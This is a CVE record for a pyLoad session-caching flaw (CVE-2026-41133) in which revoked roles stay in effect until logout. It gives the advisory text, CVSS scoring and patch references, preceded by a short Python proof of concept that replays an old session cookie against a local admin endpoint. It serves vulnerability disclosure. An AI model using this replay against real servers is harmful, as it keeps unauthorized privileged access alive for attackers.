CVE-2026-41133

import requests # PoC to demonstrate privilege persistence via session caching # 1. Attacker logs in as admin and captures the session cookie. # 2. Admin revokes attacker's role in the database. # 3. Attacker reuses the old session cookie. target_url = "http://127.0.0.1:8000/api/admin/config" # Simulated session cookie containing cached 'admin' role cookies = {'session': 'attacker_stolen_session_id'} response = requests.get(target_url, cookies=cookies) if response.status_code == 200: print("[+] Exploit Successful: Privileged access maintained after revocation.") else: print("[-] Exploit Failed: Access denied.")

{"cve": {"id": "CVE-2026-41133", "sourceIdentifier": "[email protected]", "published": "2026-04-22T00:16:29.153", "lastModified": "2026-04-27T19:28:39.443", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "pyLoad is a free and open-source download manager written in Python. Versions up to and including 0.5.0b3.dev97 cache `role` and `permission` in the session at login and continues to authorize requests using these cached values, even after an admin changes the user's role/permissions in the database. As a result, an already logged-in user can keep old (revoked) privileges until logout/session expiry, enabling continued privileged actions. This is a core authorization/session-consistency issue and is not resolved by toggling an optional security feature. Commit e95804fb0d06cbb07d2ba380fc494d9ff89b68c1 contains a fix for the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-613"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pyload:pyload:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026-04-13", "matchCriteriaId": "631877F0-7E83-469E-BC2B-244AB14E0274"}]}]}], "references": [{"url": "https://github.com/pyload/pyload/commit/e95804fb0d06cbb07d2ba380fc494d9ff89b68c1", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pyload/pyload/security/advisories/GHSA-66hx-chf7-3332", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/pyload/pyload/security/advisories/GHSA-66hx-chf7-3332", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}